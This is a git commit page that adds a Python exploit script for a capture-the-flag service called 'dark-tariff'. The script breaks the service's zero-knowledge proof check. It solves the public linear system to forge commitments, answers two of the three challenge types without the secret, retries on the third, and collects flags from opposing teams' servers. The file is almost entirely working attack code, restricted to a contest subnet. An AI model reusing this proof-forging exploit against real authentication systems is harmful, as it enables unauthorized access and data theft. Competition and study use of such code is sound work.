tools(dark-tariff): add authorized ZKP exploit PoC
This commit is contained in:
1 parent
cf54fcd6db
commit
caf9b2fc39
1 file changed
+268
@@ -0,0 +1,268 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Authorized M*CTF dark-tariff flag extractor.
|
||||
|
||||
The pre-patch service selected ZKP challenges with a 70/25/5 distribution.
|
||||
For challenges 0 and 1 a transcript can be prepared without the secret
|
||||
vector; challenge 2 is abandoned and the session is retried. The script is
|
||||
deliberately restricted to the contest 10.80.0.0/14 network and excludes our
|
||||
own team address.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import base64
|
||||
import hashlib
|
||||
import ipaddress
|
||||
import json
|
||||
import random
|
||||
import re
|
||||
import sys
|
||||
from typing import Any
|
||||
|
||||
import requests
|
||||
|
||||
|
||||
FLAG_RE = re.compile(r"\b[A-Z0-9]{31}=")
|
||||
ATTACK_DATA_URL = "http://111.88.115.124/attack_data"
|
||||
SERVICE_PORT = 8080
|
||||
TIMEOUT = 8
|
||||
OWN_IP = ipaddress.ip_address("10.80.19.2")
|
||||
TARGET_NET = ipaddress.ip_network("10.80.0.0/14")
|
||||
PERM = list(range(1024))
|
||||
PERM_TEXT = ",".join(str(x) for x in PERM)
|
||||
|
||||
|
||||
def log(message: str) -> None:
|
||||
print(message, file=sys.stderr, flush=True)
|
||||
|
||||
|
||||
def bits_to_int(bits: str) -> int:
|
||||
value = 0
|
||||
for pos, char in enumerate(bits):
|
||||
if char == "1":
|
||||
value |= 1 << pos
|
||||
elif char != "0":
|
||||
raise ValueError("invalid bit string")
|
||||
return value
|
||||
|
||||
|
||||
def int_to_bits(value: int, width: int) -> str:
|
||||
return "".join("1" if value & (1 << pos) else "0" for pos in range(width))
|
||||
|
||||
|
||||
def parse_parameters(encoded: str) -> tuple[list[int], int, int, int]:
|
||||
raw = base64.b64decode(encoded, validate=True).decode("utf-8")
|
||||
n_text, matrix_hex, y_text, w_text = raw.split("|", 3)
|
||||
n = int(n_text)
|
||||
y = bits_to_int(y_text)
|
||||
w = int(w_text)
|
||||
row_width = (n + 7) // 8
|
||||
matrix = bytes.fromhex(matrix_hex)
|
||||
if len(matrix) % row_width:
|
||||
raise ValueError("invalid matrix size")
|
||||
rows: list[int] = []
|
||||
for offset in range(0, len(matrix), row_width):
|
||||
row = 0
|
||||
for byte_index, byte in enumerate(matrix[offset : offset + row_width]):
|
||||
for bit_index in range(8):
|
||||
position = byte_index * 8 + bit_index
|
||||
if position < n and byte & (1 << (7 - bit_index)):
|
||||
row |= 1 << position
|
||||
rows.append(row)
|
||||
if not rows or len(y_text) != len(rows):
|
||||
raise ValueError("invalid matrix/vector dimensions")
|
||||
return rows, y, n, w
|
||||
|
||||
|
||||
def solve_linear(rows: list[int], rhs: int) -> int:
|
||||
"""Find any x with rows*x = rhs over GF(2)."""
|
||||
basis: dict[int, tuple[int, int]] = {}
|
||||
for index, row in enumerate(rows):
|
||||
value = row
|
||||
bit = (rhs >> index) & 1
|
||||
while value:
|
||||
pivot = (value & -value).bit_length() - 1
|
||||
previous = basis.get(pivot)
|
||||
if previous is None:
|
||||
basis[pivot] = (value, bit)
|
||||
break
|
||||
value ^= previous[0]
|
||||
bit ^= previous[1]
|
||||
if not value and bit:
|
||||
raise ValueError("inconsistent public ZKP parameters")
|
||||
|
||||
solution = 0
|
||||
for pivot in sorted(basis, reverse=True):
|
||||
row, bit = basis[pivot]
|
||||
if bit ^ ((row & solution).bit_count() & 1):
|
||||
solution |= 1 << pivot
|
||||
return solution
|
||||
|
||||
|
||||
def matrix_product(rows: list[int], vector: int) -> int:
|
||||
result = 0
|
||||
for index, row in enumerate(rows):
|
||||
if (row & vector).bit_count() & 1:
|
||||
result |= 1 << index
|
||||
return result
|
||||
|
||||
|
||||
def digest(text: str) -> str:
|
||||
return hashlib.sha256(text.encode("ascii")).hexdigest()
|
||||
|
||||
|
||||
def json_or_error(response: requests.Response) -> Any:
|
||||
try:
|
||||
body = response.json()
|
||||
except ValueError:
|
||||
response.raise_for_status()
|
||||
raise RuntimeError(f"non-JSON response ({response.status_code})")
|
||||
if not response.ok:
|
||||
raise RuntimeError(f"HTTP {response.status_code}: {body}")
|
||||
return body
|
||||
|
||||
|
||||
def forged_round(rows: list[int], y: int, n: int, delta: int) -> tuple[list[str], dict[int, dict[str, Any]]]:
|
||||
v0 = random.getrandbits(n)
|
||||
v1 = v0 ^ delta
|
||||
width = len(rows)
|
||||
h0 = matrix_product(rows, v0)
|
||||
h1 = matrix_product(rows, v1) ^ y
|
||||
v0_text = int_to_bits(v0, n)
|
||||
v1_text = int_to_bits(v1, n)
|
||||
a = digest(f"a|{PERM_TEXT}|{int_to_bits(h0, width)}")
|
||||
# h1 equals h0 when delta solves H*delta=y. Keep the computed value in
|
||||
# the commitment so a malformed target is detected instead of guessed.
|
||||
if h1 != h0:
|
||||
raise ValueError("failed to solve public linear system")
|
||||
b = digest(f"b|{v0_text}")
|
||||
c = digest(f"c|{v1_text}")
|
||||
answers = {
|
||||
0: {"v": v0_text, "p": PERM},
|
||||
1: {"v": v1_text, "p": PERM},
|
||||
}
|
||||
return [a, b, c], answers
|
||||
|
||||
|
||||
def fail_answer(n: int, w: int) -> dict[str, Any]:
|
||||
t = (1 << min(w, n)) - 1
|
||||
return {"v": int_to_bits(0, n), "t": int_to_bits(t, n)}
|
||||
|
||||
|
||||
def prove_one(
|
||||
session: requests.Session,
|
||||
base: str,
|
||||
reading_id: int,
|
||||
rows: list[int],
|
||||
y: int,
|
||||
n: int,
|
||||
w: int,
|
||||
max_attempts: int,
|
||||
) -> dict[str, Any] | None:
|
||||
delta = solve_linear(rows, y)
|
||||
for attempt in range(1, max_attempts + 1):
|
||||
start = json_or_error(session.post(f"{base}/api/chat/checks", json={"reading_id": reading_id}, timeout=TIMEOUT))
|
||||
check_id = start["id"]
|
||||
for round_no in range(1, 11):
|
||||
values, answers = forged_round(rows, y, n, delta)
|
||||
committed = json_or_error(session.post(
|
||||
f"{base}/api/chat/checks/{check_id}/commit",
|
||||
json={"round": round_no, "values": values},
|
||||
timeout=TIMEOUT,
|
||||
))
|
||||
challenge = int(committed["challenge"])
|
||||
if challenge == 2:
|
||||
session.post(
|
||||
f"{base}/api/chat/checks/{check_id}/answer",
|
||||
json={"round": round_no, "data": fail_answer(n, w)},
|
||||
timeout=TIMEOUT,
|
||||
)
|
||||
break
|
||||
if challenge not in answers:
|
||||
raise RuntimeError(f"unexpected challenge {challenge}")
|
||||
result = json_or_error(session.post(
|
||||
f"{base}/api/chat/checks/{check_id}/answer",
|
||||
json={"round": round_no, "data": answers[challenge]},
|
||||
timeout=TIMEOUT,
|
||||
))
|
||||
if result.get("stage") == "failed":
|
||||
log(f"reading={reading_id} round={round_no} challenge={challenge} rejected")
|
||||
break
|
||||
if result.get("stage") == "done":
|
||||
return result
|
||||
log(f"reading={reading_id} retry={attempt}")
|
||||
raise RuntimeError(f"could not complete ZKP for reading {reading_id}")
|
||||
|
||||
|
||||
def run(target: str, max_readings: int | None, reading_ids: list[int], max_attempts: int) -> int:
|
||||
address = ipaddress.ip_address(target)
|
||||
if address not in TARGET_NET or address == OWN_IP:
|
||||
raise ValueError("target must be a foreign 10.80.0.0/14 contest address")
|
||||
session = requests.Session()
|
||||
session.trust_env = False
|
||||
session.headers["User-Agent"] = "Mozilla/5.0 (wahrwelt-worker)"
|
||||
base = f"http://{address}:{SERVICE_PORT}"
|
||||
if reading_ids:
|
||||
records = [{"reading_id": item} for item in reading_ids]
|
||||
else:
|
||||
attack_data = session.get(ATTACK_DATA_URL, timeout=TIMEOUT).json()
|
||||
records = attack_data.get("dark-tariff", {}).get(str(address), [])
|
||||
# The public board can lag behind a service restart. Prefer current
|
||||
# public IDs when the assigned IDs are no longer readable.
|
||||
if records:
|
||||
valid = []
|
||||
for item in records:
|
||||
response = session.get(f"{base}/api/readings/{int(item['reading_id'])}", timeout=TIMEOUT)
|
||||
if response.ok:
|
||||
valid.append(item)
|
||||
records = valid
|
||||
if not records:
|
||||
listing = json_or_error(session.get(f"{base}/api/readings", timeout=TIMEOUT))
|
||||
records = [{"reading_id": row["id"]} for row in listing]
|
||||
if max_readings is not None:
|
||||
records = records[:max_readings]
|
||||
if not records:
|
||||
raise RuntimeError("no dark-tariff attack_data for target")
|
||||
flags: set[str] = set()
|
||||
for item in records:
|
||||
reading_id = int(item["reading_id"])
|
||||
public = json_or_error(session.get(f"{base}/api/readings/{reading_id}", timeout=TIMEOUT))
|
||||
rows, y, n, w = parse_parameters(public["parameters"])
|
||||
result = prove_one(session, base, reading_id, rows, y, n, w, max_attempts)
|
||||
flags.update(FLAG_RE.findall(json.dumps(result, ensure_ascii=False)))
|
||||
for flag in sorted(flags):
|
||||
print(flag, flush=True)
|
||||
log(f"target={address} readings={len(records)} flags={len(flags)}")
|
||||
return 0
|
||||
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument("target", nargs="+", help="foreign M*CTF team address(es)")
|
||||
parser.add_argument(
|
||||
"--max-readings",
|
||||
type=int,
|
||||
default=5,
|
||||
help="maximum current readings per target (default: 5)",
|
||||
)
|
||||
parser.add_argument("--reading-id", type=int, action="append", default=[])
|
||||
parser.add_argument(
|
||||
"--max-attempts",
|
||||
type=int,
|
||||
default=20,
|
||||
help="maximum ZKP retries per reading (default: 20)",
|
||||
)
|
||||
args = parser.parse_args()
|
||||
status = 0
|
||||
for target in args.target:
|
||||
try:
|
||||
status |= run(target, args.max_readings, args.reading_id, args.max_attempts)
|
||||
except (KeyError, ValueError, RuntimeError, requests.RequestException, json.JSONDecodeError) as exc:
|
||||
log(f"target={target} error={exc}")
|
||||
status = 1
|
||||
return status
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
Reference in new issue
Block a user